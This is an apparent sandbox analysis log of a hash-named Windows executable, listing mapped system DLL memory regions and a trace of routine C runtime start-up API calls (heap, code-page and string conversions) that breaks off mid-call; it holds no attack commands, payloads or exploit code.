Region: id = 1279 start_va = 0x76cb0000 end_va = 0x76cf3fff monitored = 0 entry_point = 0x76cc9d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1280 start_va = 0x74ab0000 end_va = 0x74bfefff monitored = 0 entry_point = 0x74b66820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1281 start_va = 0x743d0000 end_va = 0x74516fff monitored = 0 entry_point = 0x743e1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1282 start_va = 0x76be0000 end_va = 0x76bf2fff monitored = 0 entry_point = 0x76be1d20 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 1283 start_va = 0x73f30000 end_va = 0x73f8efff monitored = 0 entry_point = 0x73f34af0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1284 start_va = 0x76600000 end_va = 0x7667afff monitored = 0 entry_point = 0x7661e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1285 start_va = 0x74eb0000 end_va = 0x762aefff monitored = 0 entry_point = 0x7506b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1286 start_va = 0x76800000 end_va = 0x76836fff monitored = 0 entry_point = 0x76803b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 1287 start_va = 0x745b0000 end_va = 0x74aa8fff monitored = 0 entry_point = 0x747b7610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 1288 start_va = 0x76d50000 end_va = 0x76d5bfff monitored = 0 entry_point = 0x76d53930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 1289 start_va = 0x74520000 end_va = 0x745acfff monitored = 0 entry_point = 0x74569b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 1290 start_va = 0x76470000 end_va = 0x764b3fff monitored = 0 entry_point = 0x76477410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 1291 start_va = 0x73f20000 end_va = 0x73f2efff monitored = 0 entry_point = 0x73f22e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 1292 start_va = 0x74dc0000 end_va = 0x74eaafff monitored = 0 entry_point = 0x74dfd650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1293 start_va = 0x70640000 end_va = 0x70649fff monitored = 0 entry_point = 0x706428d0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 1294 start_va = 0x870000 end_va = 0x95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 1295 start_va = 0x1d0000 end_va = 0x1f9fff monitored = 0 entry_point = 0x1d5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1296 start_va = 0x960000 end_va = 0xae7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000960000" filename = "" Region: id = 1297 start_va = 0x741b0000 end_va = 0x741dafff monitored = 0 entry_point = 0x741b5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1298 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1299 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1300 start_va = 0xaf0000 end_va = 0xc70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000af0000" filename = "" Region: id = 1301 start_va = 0xc80000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c80000" filename = "" Region: id = 1302 start_va = 0x870000 end_va = 0x900fff monitored = 0 entry_point = 0x8a8cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1303 start_va = 0x950000 end_va = 0x95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 1304 start_va = 0x6f7b0000 end_va = 0x6f7c1fff monitored = 0 entry_point = 0x6f7b2960 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 1305 start_va = 0x6ef90000 end_va = 0x6efa5fff monitored = 0 entry_point = 0x6ef93130 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 1306 start_va = 0x6ef70000 end_va = 0x6ef83fff monitored = 0 entry_point = 0x6ef75a40 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 1307 start_va = 0x712b0000 end_va = 0x712fefff monitored = 0 entry_point = 0x712bd850 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 1308 start_va = 0x70a00000 end_va = 0x70a83fff monitored = 0 entry_point = 0x70a26530 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 1309 start_va = 0x76900000 end_va = 0x76906fff monitored = 0 entry_point = 0x76901e10 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1310 start_va = 0x6f830000 end_va = 0x6f83afff monitored = 0 entry_point = 0x6f831950 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 1311 start_va = 0x713a0000 end_va = 0x713cefff monitored = 0 entry_point = 0x713abb70 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1312 start_va = 0x70480000 end_va = 0x704c6fff monitored = 0 entry_point = 0x704958d0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 1313 start_va = 0x713f0000 end_va = 0x7140afff monitored = 0 entry_point = 0x713f9050 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 1314 start_va = 0x70630000 end_va = 0x70637fff monitored = 0 entry_point = 0x70631920 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Thread: id = 104 os_tid = 0x11a0 [0212.632] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0212.687] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x76910000 [0212.687] GetProcAddress (hModule=0x76910000, lpProcName="InitializeCriticalSectionEx") returned 0x769cd740 [0212.687] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x76910000 [0212.687] GetProcAddress (hModule=0x76910000, lpProcName="FlsAlloc") returned 0x769d4490 [0212.687] GetProcAddress (hModule=0x76910000, lpProcName="FlsSetValue") returned 0x769cd7a0 [0212.701] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x76910000 [0212.701] GetProcAddress (hModule=0x76910000, lpProcName="InitializeCriticalSectionEx") returned 0x769cd740 [0212.702] GetProcessHeap () returned 0x670000 [0212.709] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x76910000 [0212.709] GetProcAddress (hModule=0x76910000, lpProcName="FlsAlloc") returned 0x769d4490 [0212.709] GetLastError () returned 0x7e [0212.709] GetProcAddress (hModule=0x76910000, lpProcName="FlsGetValue") returned 0x769bf350 [0212.709] GetProcAddress (hModule=0x76910000, lpProcName="FlsSetValue") returned 0x769cd7a0 [0212.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x364) returned 0x681090 [0212.709] SetLastError (dwErrCode=0x7e) [0212.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xe00) returned 0x681400 [0212.711] GetStartupInfoW (in: lpStartupInfo=0x19fe9c | out: lpStartupInfo=0x19fe9c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41bed0, hStdOutput=0x9bc9d7f, hStdError=0xfffffffe)) [0212.711] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0212.711] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0212.711] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0212.711] GetCommandLineA () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe\"" [0212.711] GetCommandLineW () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe\"" [0212.774] GetACP () returned 0x4e4 [0212.774] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x220) returned 0x67b198 [0212.774] IsValidCodePage (CodePage=0x4e4) returned 1 [0212.774] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19febc | out: lpCPInfo=0x19febc) returned 1 [0212.774] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f784 | out: lpCPInfo=0x19f784) returned 1 [0212.776] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0212.776] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x19f528, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿBĀ") returned 256 [0212.776] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿBĀ", cchSrc=256, lpCharType=0x19f798 | out: lpCharType=0x19f798) returned 1 [0212.777] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0212.777] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x19f4d8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0212.777] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x76910000 [0212.778] GetProcAddress (hModule=0x76910000, lpProcName="LCMapStringEx") returned 0x769b95f0 [0212.778] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0212.778] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x19f2c8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0212.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x19fc98, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ3má\x09Ôþ\x19", lpUsedDefaultChar=0x0) returned 256 [0212.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0212.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x19f4f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿℭCĀ") returned 256 [0212.778] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿℭCĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0212.778] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿℭCĀ", cchSrc=256, lpDestStr=0x19f2e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0212.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x19fb98, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ3má\x09Ôþ\x19", lpUsedDefaultChar=0x0) returned 256 [0212.785] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x6775d8 [0212.785] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19fce0, nSize=0x105 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe")) returned 0x62 [0212.793] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x76720000 [0212.793] GetProcAddress 